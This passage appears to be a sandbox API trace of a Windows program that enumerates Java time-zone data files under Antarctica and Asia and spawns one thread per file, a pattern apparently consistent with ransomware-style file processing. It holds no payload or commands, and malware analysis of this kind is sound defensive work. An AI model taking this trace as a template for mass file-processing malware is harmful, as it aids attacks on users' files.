ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x75, dwReserved0=0x0, dwReserved1=0x0, cFileName="Davis", cAlternateFileName="")) returned 1 [0171.346] wcscmp (_String1="Davis", _String2=".") returned 1 [0171.346] wcscmp (_String1="Davis", _String2="..") returned 1 [0171.346] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x72) returned 0x8d0980 [0171.346] wcscpy (in: _Dest=0x8d0980, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica" [0171.346] wcscat (in: _Dest=0x8d0980, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\" [0171.346] wcscat (in: _Dest=0x8d0980, _Source="Davis" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\Davis") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\Davis" [0171.346] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8d0980, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a60 [0171.347] FindNextFileW (in: hFindFile=0x8d9d50, lpFindFileData=0x92cbd8 | out: lpFindFileData=0x92cbd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x51, dwReserved0=0x0, dwReserved1=0x0, cFileName="DumontDUrville", cAlternateFileName="DUMONT~1")) returned 1 [0171.347] wcscmp (_String1="DumontDUrville", _String2=".") returned 1 [0171.347] wcscmp (_String1="DumontDUrville", _String2="..") returned 1 [0171.347] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x84) returned 0x8e6a28 [0171.347] wcscpy (in: _Dest=0x8e6a28, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica" [0171.347] wcscat (in: _Dest=0x8e6a28, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\" [0171.347] wcscat (in: _Dest=0x8e6a28, _Source="DumontDUrville" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\DumontDUrville") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\DumontDUrville" [0171.347] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e6a28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xedc [0171.358] FindNextFileW (in: hFindFile=0x8d9d50, lpFindFileData=0x92cbd8 | out: lpFindFileData=0x92cbd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x311, dwReserved0=0x0, dwReserved1=0x0, cFileName="Macquarie", cAlternateFileName="MACQUA~1")) returned 1 [0171.358] wcscmp (_String1="Macquarie", _String2=".") returned 1 [0171.358] wcscmp (_String1="Macquarie", _String2="..") returned 1 [0171.358] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7a) returned 0xd4b7758 [0171.358] wcscpy (in: _Dest=0xd4b7758, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica" [0171.358] wcscat (in: _Dest=0xd4b7758, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\" [0171.358] wcscat (in: _Dest=0xd4b7758, _Source="Macquarie" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\Macquarie") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\Macquarie" [0171.358] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0xd4b7758, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5e4 [0171.359] FindNextFileW (in: hFindFile=0x8d9d50, lpFindFileData=0x92cbd8 | out: lpFindFileData=0x92cbd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mawson", cAlternateFileName="")) returned 1 [0171.359] wcscmp (_String1="Mawson", _String2=".") returned 1 [0171.359] wcscmp (_String1="Mawson", _String2="..") returned 1 [0171.359] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x74) returned 0x8d0880 [0171.359] wcscpy (in: _Dest=0x8d0880, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica" [0171.359] wcscat (in: _Dest=0x8d0880, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\" [0171.359] wcscat (in: _Dest=0x8d0880, _Source="Mawson" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\Mawson") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\Mawson" [0171.359] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8d0880, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5e8 [0171.361] FindNextFileW (in: hFindFile=0x8d9d50, lpFindFileData=0x92cbd8 | out: lpFindFileData=0x92cbd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x464, dwReserved0=0x0, dwReserved1=0x0, cFileName="McMurdo", cAlternateFileName="")) returned 1 [0171.361] wcscmp (_String1="McMurdo", _String2=".") returned 1 [0171.361] wcscmp (_String1="McMurdo", _String2="..") returned 1 [0171.361] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x76) returned 0x8d0680 [0171.361] wcscpy (in: _Dest=0x8d0680, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica" [0171.361] wcscat (in: _Dest=0x8d0680, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\" [0171.361] wcscat (in: _Dest=0x8d0680, _Source="McMurdo" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\McMurdo") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\McMurdo" [0171.361] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8d0680, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe94 [0171.362] FindNextFileW (in: hFindFile=0x8d9d50, lpFindFileData=0x92cbd8 | out: lpFindFileData=0x92cbd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x450, dwReserved0=0x0, dwReserved1=0x0, cFileName="Palmer", cAlternateFileName="")) returned 1 [0171.362] wcscmp (_String1="Palmer", _String2=".") returned 1 [0171.362] wcscmp (_String1="Palmer", _String2="..") returned 1 [0171.362] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x74) returned 0x8d0f80 [0171.362] wcscpy (in: _Dest=0x8d0f80, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica" [0171.362] wcscat (in: _Dest=0x8d0f80, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\" [0171.362] wcscat (in: _Dest=0x8d0f80, _Source="Palmer" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\Palmer") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\Palmer" [0171.362] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8d0f80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10a4 [0171.363] FindNextFileW (in: hFindFile=0x8d9d50, lpFindFileData=0x92cbd8 | out: lpFindFileData=0x92cbd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rothera", cAlternateFileName="")) returned 1 [0171.363] wcscmp (_String1="Rothera", _String2=".") returned 1 [0171.363] wcscmp (_String1="Rothera", _String2="..") returned 1 [0171.363] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x76) returned 0x8d0c00 [0171.363] wcscpy (in: _Dest=0x8d0c00, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica" [0171.364] wcscat (in: _Dest=0x8d0c00, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\" [0171.364] wcscat (in: _Dest=0x8d0c00, _Source="Rothera" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\Rothera") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\Rothera" [0171.364] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8d0c00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10b0 [0171.365] FindNextFileW (in: hFindFile=0x8d9d50, lpFindFileData=0x92cbd8 | out: lpFindFileData=0x92cbd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Syowa", cAlternateFileName="")) returned 1 [0171.365] wcscmp (_String1="Syowa", _String2=".") returned 1 [0171.365] wcscmp (_String1="Syowa", _String2="..") returned 1 [0171.365] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x72) returned 0x8cff80 [0171.365] wcscpy (in: _Dest=0x8cff80, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica" [0171.365] wcscat (in: _Dest=0x8cff80, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\" [0171.365] wcscat (in: _Dest=0x8cff80, _Source="Syowa" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\Syowa") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\Syowa" [0171.365] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8cff80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x110c [0171.366] FindNextFileW (in: hFindFile=0x8d9d50, lpFindFileData=0x92cbd8 | out: lpFindFileData=0x92cbd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vostok", cAlternateFileName="")) returned 1 [0171.366] wcscmp (_String1="Vostok", _String2=".") returned 1 [0171.367] wcscmp (_String1="Vostok", _String2="..") returned 1 [0171.367] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x74) returned 0x8d0400 [0171.367] wcscpy (in: _Dest=0x8d0400, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica" [0171.367] wcscat (in: _Dest=0x8d0400, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\" [0171.367] wcscat (in: _Dest=0x8d0400, _Source="Vostok" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\Vostok") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\Vostok" [0171.367] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8d0400, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1588 [0171.368] FindNextFileW (in: hFindFile=0x8d9d50, lpFindFileData=0x92cbd8 | out: lpFindFileData=0x92cbd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vostok", cAlternateFileName="")) returned 0 [0171.368] FindClose (in: hFindFile=0x8d9d50 | out: hFindFile=0x8d9d50) returned 1 [0171.369] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x92cbd8) returned 1 [0171.369] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93ca58) returned 1 [0171.369] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f1a68) returned 1 Thread: id = 5288 os_tid = 0xedc [0164.237] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x5e) returned 0x90ee88 [0164.237] wcscpy (in: _Dest=0x90ee88, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0164.237] wcscat (in: _Dest=0x90ee88, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0164.237] wcscat (in: _Dest=0x90ee88, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\*") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\*" [0164.237] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x92c238 [0164.237] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\*", lpFindFileData=0x92c238 | out: lpFindFileData=0x92c238*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x93ba38 [0170.587] wcscmp (_String1=".", _String2=".") returned 0 [0170.587] FindNextFileW (in: hFindFile=0x93ba38, lpFindFileData=0x92c238 | out: lpFindFileData=0x92c238*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0171.003] wcscmp (_String1="..", _String2=".") returned 1 [0171.003] wcscmp (_String1="..", _String2="..") returned 0 [0171.003] FindNextFileW (in: hFindFile=0x93ba38, lpFindFileData=0x92c238 | out: lpFindFileData=0x92c238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Aden", cAlternateFileName="")) returned 1 [0171.003] wcscmp (_String1="Aden", _String2=".") returned 1 [0171.003] wcscmp (_String1="Aden", _String2="..") returned 1 [0171.003] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x64) returned 0x8f1528 [0171.003] wcscpy (in: _Dest=0x8f1528, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0171.003] wcscat (in: _Dest=0x8f1528, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0171.003] wcscat (in: _Dest=0x8f1528, _Source="Aden" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Aden") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Aden" [0177.265] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f1528, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa78 [0177.266] FindNextFileW (in: hFindFile=0x93ba38, lpFindFileData=0x92c238 | out: lpFindFileData=0x92c238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Almaty", cAlternateFileName="")) returned 1 [0177.266] wcscmp (_String1="Almaty", _String2=".") returned 1 [0177.266] wcscmp (_String1="Almaty", _String2="..") returned 1 [0177.266] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x68) returned 0x8f1288 [0177.266] wcscpy (in: _Dest=0x8f1288, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0177.266] wcscat (in: _Dest=0x8f1288, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0177.266] wcscat (in: _Dest=0x8f1288, _Source="Almaty" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Almaty") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Almaty" [0177.266] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f1288, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1774 [0177.267] FindNextFileW (in: hFindFile=0x93ba38, lpFindFileData=0x92c238 | out: lpFindFileData=0x92c238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x40c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Amman", cAlternateFileName="")) returned 1 [0177.267] wcscmp (_String1="Amman", _String2=".") returned 1 [0177.267] wcscmp (_String1="Amman", _String2="..") returned 1 [0177.267] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x66) returned 0x8f0e98 [0177.267] wcscpy (in: _Dest=0x8f0e98, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0177.267] wcscat (in: _Dest=0x8f0e98, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0177.267] wcscat (in: _Dest=0x8f0e98, _Source="Amman" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Amman") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Amman" [0177.267] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f0e98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x900 [0177.268] FindNextFileW (in: hFindFile=0x93ba38, lpFindFileData=0x92c238 | out: lpFindFileData=0x92c238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x249, dwReserved0=0x0, dwReserved1=0x0, cFileName="Anadyr", cAlternateFileName="")) returned 1 [0177.268] wcscmp (_String1="Anadyr", _String2=".") returned 1 [0177.268] wcscmp (_String1="Anadyr", _String2="..") returned 1 [0177.268] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x68) returned 0x8f12f8 [0177.268] wcscpy (in: _Dest=0x8f12f8, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0177.268] wcscat (in: _Dest=0x8f12f8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0177.269] wcscat (in: _Dest=0x8f12f8, _Source="Anadyr" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Anadyr") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Anadyr" [0177.269] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f12f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1728 [0177.270] FindNextFileW (in: hFindFile=0x93ba38, lpFindFileData=0x92c238 | out: lpFindFileData=0x92c238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Aqtau", cAlternateFileName="")) returned 1 [0177.270] wcscmp (_String1="Aqtau", _String2=".") returned 1 [0177.270] wcscmp (_String1="Aqtau", _String2="..") returned 1 [0177.270] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x66) returned 0x8f1608 [0177.270] wcscpy (in: _Dest=0x8f1608, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0177.270] wcscat (in: _Dest=0x8f1608, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0177.270] wcscat (in: _Dest=0x8f1608, _Source="Aqtau" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Aqtau") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Aqtau" [0177.270] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f1608, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf28 [0177.271] FindNextFileW (in: hFindFile=0x93ba38, lpFindFileData=0x92c238 | out: lpFindFileData=0x92c238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, 